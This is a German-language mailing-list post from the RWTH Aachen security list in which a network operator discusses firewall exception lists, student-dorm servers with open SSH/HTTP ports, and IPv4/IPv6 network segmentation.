Andererseits gibt es IP-Adressen, die einzelnen Studierenden zugeordnet sind und eigentlich als Client genutzt werden, die aber vielleicht einen ssh-Port für privaten Fernzugriff, oder einen http-Port für irgendwelche Eigenentwicklungen / Projekte / Tests etc. freigeschaltet haben. Diese genauso wie 'richtige' Server zu behandeln dürfte im Vergleich zu echten Servern mehr Fehlalarme auslösen. Zudem bestehen Privatsphäre-Bedenken (s. das Argument Online-Banking).
Völlig in Ordnung. Obwohl mancher direkte SSH Zugang sicher so nicht nötig wäre. Es gibt durchaus VPN.
Wie auch immer: eine Firewall ist ja per se eine einzige Ausnahmenliste, oder nicht. Schweizer Käse, sozusagen.
Gäbe es vielleicht eine Möglichkeit, die beiden Listen getrennt zu pflegen?
Och es geht so ziemlich alles. Deswegen will ich ja *vorher* wissen, wo der Schuh drücken könnte.
Wir sind da sehr flexibel mittlerweile.
Ich kann mir Deutschlandweite Ausnahmen, Ausnahmen für den DFN (Deutsches Forschungsnetz), IPv4/IPv6 Differenzierungen, Application spezifische Regeln, und auch Anbieterkategorien vorstellen (für letzteres müssten wir noch etas Geld nachwerfen ;-)
IIRC ist für IPv6 im RWTH-Netz sowieso gefordert, dass Server und Clients in verschiedene Netzblöcke gepackt werden sollen. Falls der Verwaltungsaufwand für das ITC zu hoch erscheint, einzelne Listen zu pflegen, wäre es vielleicht ein Kompromiss, etwas ähnliches auch für IPv4 vorzusehen?
Segmentierung betreiben wir in der Hochschule, seit ich Netzbetrieb gemacht habe und wir Anfang des vorigen Jahrzehnts das Internet 1.0 der RWTH anfingen umzubauen. Und einige Instute sind da schon sehr weit. Mit IPv6 haben wir natürlich noch ganz andere Möglichkeiten. Im NOC treiben wir zur Zeit voran, das Management der Netzwerkinfrastruktur (Switches, Accesspoints, ...) möglichst IPv6-only ohne Verbrauch im IPv4 Space umzustellen.
Aufgrund der Adressknappheit wahrscheinlich nicht als komplette Netze realisierbar, aber jedes Wohnheim sollte zumindest in der Lage sein, Ranges von IP-Adressen anzugeben, in denen sich Server befinden.
Bei uns ist *jede* Einrichtung im Prinzip ein Einzelfall. Damit kommen wir auf ein paar hundert davon.
Gruß, Jens Hektor
rwth-security@lists.rwth-aachen.de
-
Frank Knoben -
Hinrikus Wolf -
Holger Jeromin -
Jan Niehusmann -
Jens Hektor -
Markus Witt -
Nick Erdmann -
Richard Zameitat -
Stefan Sutter -
Thomas Schneider -
Thomas Vogt